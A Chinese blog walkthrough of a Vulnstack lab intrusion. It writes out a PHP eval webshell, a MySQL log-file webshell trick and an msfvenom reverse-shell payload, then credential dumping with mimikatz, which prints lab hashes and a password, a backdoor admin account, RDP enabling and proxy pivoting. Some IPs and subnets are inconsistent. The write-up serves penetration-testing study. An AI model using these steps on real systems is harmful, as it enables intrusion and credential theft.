shentou

本文最后更新于:3 个月前

记一次渗透测试

环境搭建

使用的靶机是红日安全提供的,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

搭建过程中有一点需要注意

Web服务主机win7有两块网卡,需要在设置中再添加一块网卡

网卡一连接到VMnet2中,作为内网环境

网卡二连接到VMnet1中,作为公网环境,并攻击机连到VMnet1中,确保其可以访问网站主页

image-20210511130030032

剩下的两台域控主机直接连接到VMnet2中即可,可以与web服务器通信

修改window10物理机的VMnet1网卡

image-20210511214717086

这样物理机和kali都可以访问到靶机网站

实验拓扑图:

image-20210511124808522
  • web服务器(win7): 公网IP:192.168.74.128 内网IP: 192.168.52.143 主机名:stu1
  • 域成员主机(Windows Server 2003):192.168.52.141 主机名:root-tvi862ubeh
  • 域控(Windows Server 2008):192.168.52.138 主机名:owa

web服务器有两块网卡,其中192.168.74.128模拟的是公网环境,攻击者可以直接访问,192.168.52.143属于内网,攻击者无法直接访问

渗透过程

网站探测

首先访问网站主页: http://192.168.74.129/yxcms

image-20210511130446365

先扫描一下目录

image-20210511153857974

可以看存在很多可以访问的目录,并且这些目录都存在目录遍历漏洞,如/public,可以看到该目录下的很多内容,但是没有想要内容

image-20210511154129595

网站漏洞利用getshell

  • 经过探测网站的后台登录页面是http://192.168.74.129/yxcms/index.php?r=admin/index/login

    经过爆破很容易试出密码为123456

    成功登录后台

  • 尝试搜索网站已发现的漏洞

    这是一个网站常用的CMS,在网上搜索一下是否存在可以直接利用的漏洞

    代码审计| yxcms app 1.4.6 漏洞集合

    可以看到这个cms还是存在几个很好利用的漏洞的,尝试使用其中文件写入漏洞

    访问http://192.168.74.129/yxcms/index.php?r=admin/set/tpadd&Mname=default,这里可以写入php文件

    image-20210511155855512

写入一句话木马

image-20210511155949294

写入成功后,访问http://192.168.74.129/yxcms/protected/apps/default/view/default/info.php可以看到已经成功写入一句话木马,之后就是用蚁剑连接

image-20210511160216194

成功获取shell,并且是system权限,这是由于该网站管理员直接使用administrator登录域控主机,若是在真是环境中获取的是普通用户权限则还需要配合提权,获取system权限

image-20210511160418538

使用phpMyAdmin Getshell

扫描http://192.168.74.129/

image-20210511160728113

直接使用工具爆破,很容易得到,用户名和密码都为root

image-20210511132208919

一开始的想法是利用写into outfile写木马getshell,但是由于网站的secure_file_priv的值为NULL,所以我们不能利用写into outfile写木马getshell

image-20210511161606685

但是还有一种方法,就是向mysql日志中写入一句话木马,具体如下:mysql日志木马

执行下列命令

set global general_log=on;                                     #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php';  #设置指定文件为网站日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>'               		   #执行该语句,会将该命令写入日志文件

执行完命令,便可以在网站根目录下看到hack.php

image-20210511162058801

浏览器访问http://192.168.74.129/yxcms/hack.php,一句话木马访问成功

image-20210511162146968

后渗透攻击

在拿到了Web服务器的权限后,我们就要尽可能多的搜集该服务器的信息,然后搭建隧道通往内网。

执行whoami ,ipconfig,net localgroup administrators命令我们知道当前的用户身份是 administrator ,在管理员组中,并且处在域 god 中。该主机有两张网卡,分别是:192.168.74.129,192.168.52.143

image-20210511162608469

image-20210511162902010

获取MSF shell

使用msf生成木马

  • kali终端输入msfconsole,进入msf

  • 选择带reverse和meterpreter(发送端接受端连接)的payloads进行反弹端口

    use windows/x64/meterpreter_reverse_tcp

    输入show options查看方法

  • 新开一个终端输入以下命令,生成木马文件,并利用蚁剑上传到目标主机中

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.74.130 lport=4444 -f exe -o 1.exe
image-20210511163917527 image-20210511164107563
  • 再次输入msfconsole 进入应用,输入use exploit/multi/handler进入管理工具,获取shell权限,命令如下

    use exploit/multi/handler
    set payload windows/x64/meterpreter_reverse_tcp
    set lhost kali's ip
    run

    即可获取shell

image-20210511165317518

获取密码

meterpreter中运行run windows/gather/smart_hashdump,但是出现错误,提示需要system进程权限

image-20210511182726579

使用migrate 388将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的

再使用run windows/gather/smart_hashdump

image-20210511183026072

接下来是破解该密码

加载 kiwi模块

load kiwi
creds_all

结果如下

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain  LM                                NTLM                              SHA1
--------       ------  --                                ----                              ----
Administrator  GOD     edea194d76c77d87840ac10a764c7362  8a963371a63944419ec1adf687bb1be5  343f44056ed02360aead5618dd42e4614b5f70cf
STU1$          GOD                                       cde51539f42c2854d74e82db1173dd8c  50950d918317edf0ab95661a565c6ebf1151fe3b

wdigest credentials
===================

Username       Domain  Password
--------       ------  --------
(null)         (null)  (null)
Administrator  GOD     hongrisec@2019
STU1$          GOD     81 c2 84 7c a6 0f 51 4b 41 91 b3 1a 0d 7e 56 32 0e 37 c7 77 f7 54 09 f4 f2 8b 54 cc 6b 20 7e 9c 56 46 e5 ee d9 d2 84 aa 6a 82 82 58 b1 ae bf 47 db 9f 53 9e c9 a1 5f bb ae a2 c3 7f 2d 37 9d c1 9a 25 95 f6 49 b8 a2 f1 cb 0a ad f2 b2 27 c8 36 b2 eb a5 d9 3c 10 ca 0c 38 18 63 fb 0d 7f 67 ec 37 87 84 e9 cc f3 d8 56 72 bc 0c cf e8 20 a7 93 07 29 3d b5 48 b6 33 de e9 df 3a 73 04 94 a7 90 e6 d5 4f ce a8 88 9e a5 18 78 e4 43 e8 5b e5 47 dc 0a 34 be 79 6a fa fe 7f d5 c6 38 48 79 53 7b 3f 8f 9e 78 31 cf 35 7b 12 93 e7 3a f1 0c de 90 d9 e5 69 02 a9 ab c6 da f2 09 2f 8a 0a ed 19 44 11 c4 ba 93 12 73 04 69 3a 31 4e ff b8 a7 72 da 4b 6e ad db e9 52 7f 88 cf 0f 01 92 87 68 ba 5a d1 d3 ec 1f c3 b1 a5 3b 44 e5 7b 9d 2f a9 28 5b

tspkg credentials
=================

Username       Domain  Password
--------       ------  --------
Administrator  GOD     hongrisec@2019

kerberos credentials
====================

Username       Domain   Password
--------       ------   --------
(null)         (null)   (null)
Administrator  GOD.ORG  hongrisec@2019
stu1$          GOD.ORG  81 c2 84 7c a6 0f 51 4b 41 91 b3 1a 0d 7e 56 32 0e 37 c7 77 f7 54 09 f4 f2 8b 54 cc 6b 20 7e 9c 56 46 e5 ee d9 d2 84 aa 6a 82 82 58 b1 ae bf 47 db 9f 53 9e c9 a1 5f bb ae a2 c3 7f 2d 37 9d c1 9a 25 95 f6 49 b8 a2 f1 cb 0a ad f2 b2 27 c8 36 b2 eb a5 d9 3c 10 ca 0c 38 18 63 fb 0d 7f 67 ec 37 87 84 e9 cc f3 d8 56 72 bc 0c cf e8 20 a7 93 07 29 3d b5 48 b6 33 de e9 df 3a 73 04 94 a7 90 e6 d5 4f ce a8 88 9e a5 18 78 e4 43 e8 5b e5 47 dc 0a 34 be 79 6a fa fe 7f d5 c6 38 48 79 53 7b 3f 8f 9e 78 31 cf 35 7b 12 93 e7 3a f1 0c de 90 d9 e5 69 02 a9 ab c6 da f2 09 2f 8a 0a ed 19 44 11 c4 ba 93 12 73 04 69 3a 31 4e ff b8 a7 72 da 4b 6e ad db e9 52 7f 88 cf 0f 01 92 87 68 ba 5a d1 d3 ec 1f c3 b1 a5 3b 44 e5 7b 9d 2f a9 28 5b

可以看到密码已经被破解处理

password:hongrisec@2019

远程桌面登录

已经获得了administrator的账号和密码,现在我们既可以使用administrator账号登录,也可以新建账号登录。

直接使用administrator登录的话可能被管理员发现,所以使用第二种方法

net user hack password  /add
net localgroup administrators hack /add
image-20210511183802017

查看主机是否开启3389端口

nmap -p 3389 -v 192.168.74.129

image-20210511184005186

可以发现是关闭的。

使用meterpreter,打开该端口(运行之前好像需要重新弹出shell,直接运行没有成功)

run post/windows/manage/enable_rdp

image-20210511184531850

再次扫描就会发现3389端口已经打开

image-20210511184630200

直接连接即可

image-20210511185014529

添加路由、挂Socks4a代理

  • 添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机

  • 添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

在获取shell的机器上添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24
# 添加路由
meterpreter > run autoroute -p
# 显示路由
meterpreter > route flush 
# 删除

使用run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24,查看存活的主机

image-20210511193307727

然后建立socks4代理

meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run

image-20210511195019515

设置完代理后攻击者主机就可以访问内网了

域信息收集

net time /domain        #查看时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
net group "domain computers" /domain         #查看域内所有的主机名
net group "domain admins"   /domain          #查看域管理员
net group "domain controllers" /domain       #查看域控

image-20210511200502702

image-20210511200553874

image-20210511200623757

image-20210511200650884

汇总

从域信息收集可以得到以下信息:

  • 域:god.org

  • 域内有三个用户:administrator、ligang、liukaifeng01

  • 域内有三台主机:DEV1(不在此环境中)、ROOT-TVI862UBEH、STU1

  • 域控:OWA(192.168.52.138)

  • 域管理员:administrator

由此可见,我们现在获得的即是域管理员权限。此环境内还有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。

内网主机信息收集

远程登录桌面后会看到一个Nmap应用,可以用这个探测内网主机

当然之前已经设置完代理了,也可以使用kali中的msf探测

内网存活主机探测

在域环境渗透中可以省略,因为使用域命令可以直接查询域中有哪些主机。在非域环境中渗透,可以使用这一步。在这里顺带提一下这个用法。更多的关于使用MSF进行内网探测,传送门:后渗透阶段之基于MSF的内网主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

内网存活主机端口扫描

使用MSF自带模块进行端口探测

auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(默认扫描1-10000)

也可以用nmap扫描

内网存活主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

 目录

Copyright © 2020 my blog
载入天数... 载入时分秒...